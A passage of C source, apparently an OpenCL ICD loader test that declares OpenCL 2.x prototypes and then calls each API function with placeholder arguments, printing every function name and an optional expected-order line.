clEnqueueSVMMap(cl_command_queue /* command_queue */,
cl_bool /* blocking_map */,
cl_map_flags /* flags */,
void * /* svm_ptr */,
size_t /* size */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_2_0;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueSVMUnmap(cl_command_queue /* command_queue */,
void * /* svm_ptr */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_2_0;;
CL_API_ENTRY cl_sampler CL_API_CALL
clCreateSamplerWithProperties(cl_context /* context */,
const cl_sampler_properties * /* normalized_coords */,
cl_int * /* errcode_ret */) CL_API_SUFFIX__VERSION_2_0;;
CL_API_ENTRY cl_int CL_API_CALL
clSetKernelArgSVMPointer(cl_kernel /* kernel */,
cl_uint /* arg_index */,
const void * /* arg_value */) CL_API_SUFFIX__VERSION_2_0;;
CL_API_ENTRY cl_int CL_API_CALL
clSetKernelExecInfo(cl_kernel /* kernel */,
cl_kernel_exec_info /* param_name */,
size_t /* param_value_size */,
const void * /* param_value */) CL_API_SUFFIX__VERSION_2_0;;
CL_API_ENTRY cl_int CL_API_CALL
clGetKernelSubGroupInfoKHR(cl_kernel /* in_kernel */,
cl_device_id /*in_device*/,
cl_kernel_sub_group_info /* param_name */,
size_t /*input_value_size*/,
const void * /*input_value*/,
size_t /*param_value_size*/,
void* /*param_value*/,
size_t* /*param_value_size_ret*/ ) CL_EXT_SUFFIX__VERSION_2_0;;
CL_API_ENTRY cl_kernel CL_API_CALL
clCloneKernel(cl_kernel /* source_kernel */,
cl_int* /* errcode_ret */) CL_API_SUFFIX__VERSION_2_1;;
CL_API_ENTRY cl_program CL_API_CALL
clCreateProgramWithIL(cl_context /* context */,
const void* /* il */,
size_t /* length */,
cl_int* /* errcode_ret */) CL_API_SUFFIX__VERSION_2_1;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueSVMMigrateMem(cl_command_queue /* command_queue */,
cl_uint /* num_svm_pointers */,
const void ** /* svm_pointers */,
const size_t * /* sizes */,
cl_mem_migration_flags /* flags */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_2_1;;
CL_API_ENTRY cl_int CL_API_CALL
clGetDeviceAndHostTimer(cl_device_id /* device */,
cl_ulong* /* device_timestamp */,
cl_ulong* /* host_timestamp */) CL_API_SUFFIX__VERSION_2_1;;
CL_API_ENTRY cl_int CL_API_CALL
clGetHostTimer(cl_device_id /* device */,
cl_ulong * /* host_timestamp */) CL_API_SUFFIX__VERSION_2_1;;
CL_API_ENTRY cl_int CL_API_CALL
clGetKernelSubGroupInfo(cl_kernel /* kernel */,
cl_device_id /* device */,
cl_kernel_sub_group_info /* param_name */,
size_t /* input_value_size */,
const void* /* input_value */,
size_t /* param_value_size */,
void* /* param_value */,
size_t* /* param_value_size_ret */ ) CL_API_SUFFIX__VERSION_2_1;;
CL_API_ENTRY cl_int CL_API_CALL
clSetDefaultDeviceCommandQueue(cl_context /* context */,
cl_device_id /* device */,
cl_command_queue /* command_queue */) CL_API_SUFFIX__VERSION_2_1;;
void call_all_OpenCL_functions(cl_platform_id chosen_platform) {
cl_context_properties properties[] = { CL_CONTEXT_PLATFORM, (cl_context_properties)chosen_platform, 0 };
clGetPlatformInfo((cl_platform_id )chosen_platform,( cl_platform_info )0,( size_t )0,( void * )0,( size_t *)0);
printf("%s\n", "clGetPlatformInfo");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("1 : %s (expected)\n", "clGetPlatformInfo");
#endif
fflush(NULL);
clGetDeviceIDs((cl_platform_id )chosen_platform,( cl_device_type )0,( cl_uint )0,( cl_device_id * )0,( cl_uint *)0);
printf("%s\n", "clGetDeviceIDs");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("2 : %s (expected)\n", "clGetDeviceIDs");
#endif
fflush(NULL);
clGetDeviceInfo((cl_device_id )chosen_platform,( cl_device_info )0,( size_t )0,( void * )0,( size_t *)0);
printf("%s\n", "clGetDeviceInfo");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("3 : %s (expected)\n", "clGetDeviceInfo");
#endif
fflush(NULL);
clCreateContext(properties,1,(cl_device_id*)&chosen_platform,NULL,NULL,NULL);
printf("%s\n", "clCreateContext");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("4 : %s (expected)\n", "clCreateContext");
#endif
fflush(NULL);
clCreateContextFromType(properties,CL_DEVICE_TYPE_CPU,NULL,NULL,NULL);
printf("%s\n", "clCreateContextFromType");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("5 : %s (expected)\n", "clCreateContextFromType");
#endif
fflush(NULL);
clRetainContext((cl_context)chosen_platform);
printf("%s\n", "clRetainContext");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("6 : %s (expected)\n", "clRetainContext");
#endif
fflush(NULL);
clReleaseContext((cl_context)chosen_platform);
printf("%s\n", "clReleaseContext");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("7 : %s (expected)\n", "clReleaseContext");
#endif
fflush(NULL);
clGetContextInfo((cl_context )chosen_platform,( cl_context_info )0,( size_t )0,( void * )0,( size_t *)0);
printf("%s\n", "clGetContextInfo");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("8 : %s (expected)\n", "clGetContextInfo");
#endif
fflush(NULL);
clCreateCommandQueue((cl_context )chosen_platform,( cl_device_id )0,( cl_command_queue_properties )0,( cl_int *)0);
printf("%s\n", "clCreateCommandQueue");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("9 : %s (expected)\n", "clCreateCommandQueue");
#endif
fflush(NULL);
clRetainCommandQueue((cl_command_queue)chosen_platform);
printf("%s\n", "clRetainCommandQueue");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("10 : %s (expected)\n", "clRetainCommandQueue");
#endif
fflush(NULL);
clReleaseCommandQueue((cl_command_queue)chosen_platform);
printf("%s\n", "clReleaseCommandQueue");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("11 : %s (expected)\n", "clReleaseCommandQueue");
#endif
fflush(NULL);
clGetCommandQueueInfo((cl_command_queue )chosen_platform,( cl_command_queue_info )0,( size_t )0,( void * )0,( size_t *)0);
printf("%s\n", "clGetCommandQueueInfo");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("12 : %s (expected)\n", "clGetCommandQueueInfo");
#endif
fflush(NULL);
clSetCommandQueueProperty((cl_command_queue )chosen_platform,( cl_command_queue_properties )0,( cl_bool )0,( cl_command_queue_properties *)0);
printf("%s\n", "clSetCommandQueueProperty");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("13 : %s (expected)\n", "clSetCommandQueueProperty");
#endif
fflush(NULL);
clCreateBuffer((cl_context )chosen_platform,( cl_mem_flags )0,( size_t )0,( void * )0,( cl_int *)0);
printf("%s\n", "clCreateBuffer");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("14 : %s (expected)\n", "clCreateBuffer");
#endif
fflush(NULL);
clCreateImage2D((cl_context )chosen_platform,( cl_mem_flags )0,( const cl_image_format * )0,( size_t )0,( size_t )0,( size_t )0,( void * )0,( cl_int *)0);
printf("%s\n", "clCreateImage2D");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("15 : %s (expected)\n", "clCreateImage2D");
#endif
fflush(NULL);
clCreateImage3D((cl_context )chosen_platform,( cl_mem_flags )0,( const cl_image_format * )0,( size_t )0,( size_t )0,( size_t )0,( size_t )0,( size_t )0,( void * )0,( cl_int *)0);
printf("%s\n", "clCreateImage3D");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("16 : %s (expected)\n", "clCreateImage3D");
#endif
fflush(NULL);
clRetainMemObject((cl_mem)chosen_platform);
printf("%s\n", "clRetainMemObject");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("17 : %s (expected)\n", "clRetainMemObject");
#endif
fflush(NULL);
clReleaseMemObject((cl_mem)chosen_platform);
printf("%s\n", "clReleaseMemObject");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("18 : %s (expected)\n", "clReleaseMemObject");
#endif
fflush(NULL);
clGetSupportedImageFormats((cl_context )chosen_platform,( cl_mem_flags )0,( cl_mem_object_type )0,( cl_uint )0,( cl_image_format * )0,( cl_uint *)0);
printf("%s\n", "clGetSupportedImageFormats");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("19 : %s (expected)\n", "clGetSupportedImageFormats");
#endif
fflush(NULL);
clGetMemObjectInfo((cl_mem )chosen_platform,( cl_mem_info )0,( size_t )0,( void * )0,( size_t *)0);
printf("%s\n", "clGetMemObjectInfo");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("20 : %s (expected)\n", "clGetMemObjectInfo");
#endif
fflush(NULL);
clGetImageInfo((cl_mem )chosen_platform,( cl_image_info )0,( size_t )0,( void * )0,( size_t *)0);
printf("%s\n", "clGetImageInfo");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("21 : %s (expected)\n", "clGetImageInfo");
#endif
fflush(NULL);
clCreateSampler((cl_context )chosen_platform,( cl_bool )0,( cl_addressing_mode )0,( cl_filter_mode )0,( cl_int *)0);
printf("%s\n", "clCreateSampler");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("22 : %s (expected)\n", "clCreateSampler");
#endif
fflush(NULL);
clRetainSampler((cl_sampler)chosen_platform);
printf("%s\n", "clRetainSampler");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("23 : %s (expected)\n", "clRetainSampler");
#endif
fflush(NULL);
clReleaseSampler((cl_sampler)chosen_platform);
printf("%s\n", "clReleaseSampler");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("24 : %s (expected)\n", "clReleaseSampler");
#endif
fflush(NULL);
clGetSamplerInfo((cl_sampler )chosen_platform,( cl_sampler_info )0,( size_t )0,( void * )0,( size_t *)0);
printf("%s\n", "clGetSamplerInfo");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("25 : %s (expected)\n", "clGetSamplerInfo");
#endif
fflush(NULL);
clCreateProgramWithSource((cl_context )chosen_platform,( cl_uint )0,( const char ** )0,( const size_t * )0,( cl_int *)0);
printf("%s\n", "clCreateProgramWithSource");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("26 : %s (expected)\n", "clCreateProgramWithSource");
#endif
fflush(NULL);
clCreateProgramWithBinary((cl_context )chosen_platform,( cl_uint )0,( const cl_device_id * )0,( const size_t * )0,( const unsigned char ** )0,( cl_int * )0,( cl_int *)0);
printf("%s\n", "clCreateProgramWithBinary");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("27 : %s (expected)\n", "clCreateProgramWithBinary");
#endif
fflush(NULL);
clRetainProgram((cl_program)chosen_platform);
printf("%s\n", "clRetainProgram");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("28 : %s (expected)\n", "clRetainProgram");
#endif
fflush(NULL);
clReleaseProgram((cl_program)chosen_platform);
printf("%s\n", "clReleaseProgram");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("29 : %s (expected)\n", "clReleaseProgram");
#endif
fflush(NULL);
clBuildProgram((cl_program )chosen_platform,( cl_uint )0,( const cl_device_id * )0,( const char * )0,( void (CL_CALLBACK * )(cl_program , void * ))0,( void *)0);
printf("%s\n", "clBuildProgram");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("30 : %s (expected)\n", "clBuildProgram");
#endif
fflush(NULL);
clGetProgramInfo((cl_program )chosen_platform,( cl_program_info )0,( size_t )0,( void * )0,( size_t *)0);
printf("%s\n", "clGetProgramInfo");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("32 : %s (expected)\n", "clGetProgramInfo");
#endif
fflush(NULL);
clGetProgramBuildInfo((cl_program )chosen_platform,( cl_device_id )0,( cl_program_build_info )0,( size_t )0,( void * )0,( size_t *)0);
printf("%s\n", "clGetProgramBuildInfo");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("33 : %s (expected)\n", "clGetProgramBuildInfo");
#endif
fflush(NULL);
clCreateKernel((cl_program )chosen_platform,( const char * )0,( cl_int *)0);
printf("%s\n", "clCreateKernel");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("34 : %s (expected)\n", "clCreateKernel");
#endif
fflush(NULL);
clCreateKernelsInProgram((cl_program )chosen_platform,( cl_uint )0,( cl_kernel * )0,( cl_uint *)0);
printf("%s\n", "clCreateKernelsInProgram");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("35 : %s (expected)\n", "clCreateKernelsInProgram");
#endif
fflush(NULL);
clRetainKernel((cl_kernel)chosen_platform);
printf("%s\n", "clRetainKernel");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("36 : %s (expected)\n", "clRetainKernel");
#endif
fflush(NULL);
clReleaseKernel((cl_kernel)chosen_platform);
printf("%s\n", "clReleaseKernel");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("37 : %s (expected)\n", "clReleaseKernel");
#endif
fflush(NULL);
clSetKernelArg((cl_kernel )chosen_platform,( cl_uint )0,( size_t )0,( const void *)0);
printf("%s\n", "clSetKernelArg");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("38 : %s (expected)\n", "clSetKernelArg");
#endif
fflush(NULL);
clGetKernelInfo((cl_kernel )chosen_platform,( cl_kernel_info )0,( size_t )0,( void * )0,( size_t *)0);
printf("%s\n", "clGetKernelInfo");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("39 : %s (expected)\n", "clGetKernelInfo");
#endif
fflush(NULL);
clGetKernelWorkGroupInfo((cl_kernel )chosen_platform,( cl_device_id )0,( cl_kernel_work_group_info )0,( size_t )0,( void * )0,( size_t *)0);
printf("%s\n", "clGetKernelWorkGroupInfo");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("40 : %s (expected)\n", "clGetKernelWorkGroupInfo");
#endif
fflush(NULL);
clWaitForEvents(1,(cl_event*)&chosen_platform);
printf("%s\n", "clWaitForEvents");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("41 : %s (expected)\n", "clWaitForEvents");
#endif
fflush(NULL);
clGetEventInfo((cl_event )chosen_platform,( cl_event_info )0,( size_t )0,( void * )0,( size_t *)0);
printf("%s\n", "clGetEventInfo");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("42 : %s (expected)\n", "clGetEventInfo");
#endif
fflush(NULL);
clRetainEvent((cl_event)chosen_platform);
printf("%s\n", "clRetainEvent");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("43 : %s (expected)\n", "clRetainEvent");
#endif
fflush(NULL);
clReleaseEvent((cl_event)chosen_platform);
printf("%s\n", "clReleaseEvent");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("44 : %s (expected)\n", "clReleaseEvent");
#endif
fflush(NULL);
clGetEventProfilingInfo((cl_event )chosen_platform,( cl_profiling_info )0,( size_t )0,( void * )0,( size_t *)0);
printf("%s\n", "clGetEventProfilingInfo");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("45 : %s (expected)\n", "clGetEventProfilingInfo");
#endif
fflush(NULL);
clFlush((cl_command_queue)chosen_platform);
printf("%s\n", "clFlush");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("46 : %s (expected)\n", "clFlush");
#endif
fflush(NULL);
clFinish((cl_command_queue)chosen_platform);
printf("%s\n", "clFinish");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("47 : %s (expected)\n", "clFinish");
#endif
fflush(NULL);
clEnqueueReadBuffer((cl_command_queue )chosen_platform,( cl_mem )0,( cl_bool )0,( size_t )0,( size_t )0,( void * )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueReadBuffer");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("48 : %s (expected)\n", "clEnqueueReadBuffer");
#endif
fflush(NULL);
clEnqueueWriteBuffer((cl_command_queue )chosen_platform,( cl_mem )0,( cl_bool )0,( size_t )0,( size_t )0,( const void * )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueWriteBuffer");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("49 : %s (expected)\n", "clEnqueueWriteBuffer");
#endif
fflush(NULL);
clEnqueueCopyBuffer((cl_command_queue )chosen_platform,( cl_mem )0,( cl_mem )0,( size_t )0,( size_t )0,( size_t )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueCopyBuffer");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("50 : %s (expected)\n", "clEnqueueCopyBuffer");
#endif
fflush(NULL);
clEnqueueReadImage((cl_command_queue )chosen_platform,( cl_mem )0,( cl_bool )0,( const size_t * )0,( const size_t * )0,( size_t )0,( size_t )0,( void * )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueReadImage");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("51 : %s (expected)\n", "clEnqueueReadImage");
#endif
fflush(NULL);
clEnqueueWriteImage((cl_command_queue )chosen_platform,( cl_mem )0,( cl_bool )0,( const size_t * )0,( const size_t * )0,( size_t )0,( size_t )0,( const void * )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueWriteImage");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("52 : %s (expected)\n", "clEnqueueWriteImage");
#endif
fflush(NULL);
clEnqueueCopyImage((cl_command_queue )chosen_platform,( cl_mem )0,( cl_mem )0,( const size_t * )0,( const size_t * )0,( const size_t * )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueCopyImage");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("53 : %s (expected)\n", "clEnqueueCopyImage");
#endif
fflush(NULL);
clEnqueueCopyImageToBuffer((cl_command_queue )chosen_platform,( cl_mem )0,( cl_mem )0,( const size_t * )0,( const size_t * )0,( size_t )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueCopyImageToBuffer");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("54 : %s (expected)\n", "clEnqueueCopyImageToBuffer");
#endif
fflush(NULL);
clEnqueueCopyBufferToImage((cl_command_queue )chosen_platform,( cl_mem )0,( cl_mem )0,( size_t )0,( const size_t * )0,( const size_t * )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueCopyBufferToImage");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("55 : %s (expected)\n", "clEnqueueCopyBufferToImage");
#endif
fflush(NULL);
clEnqueueMapBuffer((cl_command_queue )chosen_platform,( cl_mem )0,( cl_bool )0,( cl_map_flags )0,( size_t )0,( size_t )0,( cl_uint )0,( const cl_event * )0,( cl_event * )0,( cl_int *)0);
printf("%s\n", "clEnqueueMapBuffer");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("56 : %s (expected)\n", "clEnqueueMapBuffer");
#endif
fflush(NULL);
clEnqueueMapImage((cl_command_queue )chosen_platform,( cl_mem )0,( cl_bool )0,( cl_map_flags )0,( const size_t * )0,( const size_t * )0,( size_t * )0,( size_t * )0,( cl_uint )0,( const cl_event * )0,( cl_event * )0,( cl_int *)0);
printf("%s\n", "clEnqueueMapImage");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("57 : %s (expected)\n", "clEnqueueMapImage");
#endif
fflush(NULL);
clEnqueueUnmapMemObject((cl_command_queue )chosen_platform,( cl_mem )0,( void * )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueUnmapMemObject");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("58 : %s (expected)\n", "clEnqueueUnmapMemObject");
#endif
fflush(NULL);
clEnqueueNDRangeKernel((cl_command_queue )chosen_platform,( cl_kernel )0,( cl_uint )0,( const size_t * )0,( const size_t * )0,( const size_t * )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueNDRangeKernel");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("59 : %s (expected)\n", "clEnqueueNDRangeKernel");
#endif
fflush(NULL);
clEnqueueTask((cl_command_queue )chosen_platform,( cl_kernel )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueTask");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("60 : %s (expected)\n", "clEnqueueTask");
#endif
fflush(NULL);
clEnqueueNativeKernel((cl_command_queue )chosen_platform,( void (*)(void *))0,( void * )0,( size_t )0,( cl_uint )0,( const cl_mem * )0,( const void ** )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueNativeKernel");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("61 : %s (expected)\n", "clEnqueueNativeKernel");
#endif
fflush(NULL);
clEnqueueMarker((cl_command_queue )chosen_platform,( cl_event *)0);
printf("%s\n", "clEnqueueMarker");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("62 : %s (expected)\n", "clEnqueueMarker");
#endif
fflush(NULL);
clEnqueueWaitForEvents((cl_command_queue )chosen_platform,( cl_uint )0,( const cl_event *)0);
printf("%s\n", "clEnqueueWaitForEvents");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("63 : %s (expected)\n", "clEnqueueWaitForEvents");
#endif
fflush(NULL);
clEnqueueBarrier((cl_command_queue)chosen_platform);
printf("%s\n", "clEnqueueBarrier");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("64 : %s (expected)\n", "clEnqueueBarrier");
#endif
fflush(NULL);
clGetExtensionFunctionAddress("extLIG");
printf("%s\n", "clGetExtensionFunctionAddress");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("65 : %s (expected)\n", "clGetExtensionFunctionAddress");
#endif
fflush(NULL);
clCreateFromGLBuffer((cl_context )chosen_platform,( cl_mem_flags )0,( cl_GLuint )0,( int *)0);
printf("%s\n", "clCreateFromGLBuffer");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("66 : %s (expected)\n", "clCreateFromGLBuffer");
#endif
fflush(NULL);
clCreateFromGLTexture2D((cl_context )chosen_platform,( cl_mem_flags )0,( cl_GLenum )0,( cl_GLint )0,( cl_GLuint )0,( cl_int *)0);
printf("%s\n", "clCreateFromGLTexture2D");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("67 : %s (expected)\n", "clCreateFromGLTexture2D");
#endif
fflush(NULL);
clCreateFromGLTexture3D((cl_context )chosen_platform,( cl_mem_flags )0,( cl_GLenum )0,( cl_GLint )0,( cl_GLuint )0,( cl_int *)0);
printf("%s\n", "clCreateFromGLTexture3D");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("68 : %s (expected)\n", "clCreateFromGLTexture3D");
#endif
fflush(NULL);
clCreateFromGLRenderbuffer((cl_context )chosen_platform,( cl_mem_flags )0,( cl_GLuint )0,( cl_int *)0);
printf("%s\n", "clCreateFromGLRenderbuffer");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("69 : %s (expected)\n", "clCreateFromGLRenderbuffer");
#endif
fflush(NULL);
clGetGLObjectInfo((cl_mem )chosen_platform,( cl_gl_object_type * )0,( cl_GLuint *)0);
printf("%s\n", "clGetGLObjectInfo");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("70 : %s (expected)\n", "clGetGLObjectInfo");
#endif
fflush(NULL);
clGetGLTextureInfo((cl_mem )chosen_platform,( cl_gl_texture_info )0,( size_t )0,( void * )0,( size_t *)0);
printf("%s\n", "clGetGLTextureInfo");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("71 : %s (expected)\n", "clGetGLTextureInfo");
#endif
fflush(NULL);
clEnqueueAcquireGLObjects((cl_command_queue )chosen_platform,( cl_uint )0,( const cl_mem * )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueAcquireGLObjects");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("72 : %s (expected)\n", "clEnqueueAcquireGLObjects");
#endif
fflush(NULL);
clEnqueueReleaseGLObjects((cl_command_queue )chosen_platform,( cl_uint )0,( const cl_mem * )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueReleaseGLObjects");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("73 : %s (expected)\n", "clEnqueueReleaseGLObjects");
#endif
fflush(NULL);
clGetGLContextInfoKHR(properties,CL_CURRENT_DEVICE_FOR_GL_CONTEXT_KHR, 0, NULL, NULL);
printf("%s\n", "clGetGLContextInfoKHR");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("74 : %s (expected)\n", "clGetGLContextInfoKHR");
#endif
fflush(NULL);
clSetEventCallback((cl_event )chosen_platform,( cl_int )0,( void (CL_CALLBACK * )(cl_event, cl_int, void *))0,( void *)0);
printf("%s\n", "clSetEventCallback");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("81 : %s (expected)\n", "clSetEventCallback");
#endif
fflush(NULL);
clCreateSubBuffer((cl_mem )chosen_platform,( cl_mem_flags )0,( cl_buffer_create_type )0,( const void * )0,( cl_int *)0);
printf("%s\n", "clCreateSubBuffer");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("82 : %s (expected)\n", "clCreateSubBuffer");
#endif
fflush(NULL);
clSetMemObjectDestructorCallback((cl_mem )chosen_platform,( void (CL_CALLBACK * )( cl_mem , void* ))0,( void *)0);
printf("%s\n", "clSetMemObjectDestructorCallback");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("83 : %s (expected)\n", "clSetMemObjectDestructorCallback");
#endif
fflush(NULL);
clCreateUserEvent((cl_context )chosen_platform,( cl_int *)0);
printf("%s\n", "clCreateUserEvent");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("84 : %s (expected)\n", "clCreateUserEvent");
#endif
fflush(NULL);
clSetUserEventStatus((cl_event )chosen_platform,( cl_int)0);
printf("%s\n", "clSetUserEventStatus");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("85 : %s (expected)\n", "clSetUserEventStatus");
#endif
fflush(NULL);
clEnqueueReadBufferRect((cl_command_queue )chosen_platform,( cl_mem )0,( cl_bool )0,( const size_t * )0,( const size_t * )0,( const size_t * )0,( size_t )0,( size_t )0,( size_t )0,( size_t )0,( void * )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueReadBufferRect");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("86 : %s (expected)\n", "clEnqueueReadBufferRect");
#endif
fflush(NULL);
clEnqueueWriteBufferRect((cl_command_queue )chosen_platform,( cl_mem )0,( cl_bool )0,( const size_t * )0,( const size_t * )0,( const size_t * )0,( size_t )0,( size_t )0,( size_t )0,( size_t )0,( const void * )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueWriteBufferRect");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("87 : %s (expected)\n", "clEnqueueWriteBufferRect");
#endif
fflush(NULL);
clEnqueueCopyBufferRect((cl_command_queue )chosen_platform,( cl_mem )0,( cl_mem )0,( const size_t * )0,( const size_t * )0,( const size_t * )0,( size_t )0,( size_t )0,( size_t )0,( size_t )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueCopyBufferRect");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("88 : %s (expected)\n", "clEnqueueCopyBufferRect");
#endif
fflush(NULL);
clCreateSubDevicesEXT((cl_device_id )chosen_platform,( const cl_device_partition_property_ext * )0,( cl_uint )0,( cl_device_id * )0,( cl_uint *)0);
printf("%s\n", "clCreateSubDevicesEXT");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("89 : %s (expected)\n", "clCreateSubDevicesEXT");
#endif
fflush(NULL);
clRetainDeviceEXT((cl_device_id)chosen_platform);
printf("%s\n", "clRetainDeviceEXT");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("90 : %s (expected)\n", "clRetainDeviceEXT");
#endif
fflush(NULL);
clReleaseDeviceEXT((cl_device_id)chosen_platform);
printf("%s\n", "clReleaseDeviceEXT");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("91 : %s (expected)\n", "clReleaseDeviceEXT");
#endif
fflush(NULL);
clCreateEventFromGLsyncKHR((cl_context )chosen_platform,( cl_GLsync )0,( cl_int *)0);
printf("%s\n", "clCreateEventFromGLsyncKHR");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("92 : %s (expected)\n", "clCreateEventFromGLsyncKHR");
#endif
fflush(NULL);
clCreateSubDevices((cl_device_id )chosen_platform,( const cl_device_partition_property * )0,( cl_uint )0,( cl_device_id * )0,( cl_uint *)0);
printf("%s\n", "clCreateSubDevices");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("93 : %s (expected)\n", "clCreateSubDevices");
#endif
fflush(NULL);
clRetainDevice((cl_device_id)chosen_platform);
printf("%s\n", "clRetainDevice");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("94 : %s (expected)\n", "clRetainDevice");
#endif
fflush(NULL);
clReleaseDevice((cl_device_id)chosen_platform);
printf("%s\n", "clReleaseDevice");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("95 : %s (expected)\n", "clReleaseDevice");
#endif
fflush(NULL);
clCreateImage((cl_context )chosen_platform,( cl_mem_flags )0,( const cl_image_format * )0,( const cl_image_desc * )0,( void * )0,( cl_int *)0);
printf("%s\n", "clCreateImage");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("96 : %s (expected)\n", "clCreateImage");
#endif
fflush(NULL);
clCreateProgramWithBuiltInKernels((cl_context )chosen_platform,( cl_uint )0,( const cl_device_id * )0,( const char * )0,( cl_int *)0);
printf("%s\n", "clCreateProgramWithBuiltInKernels");
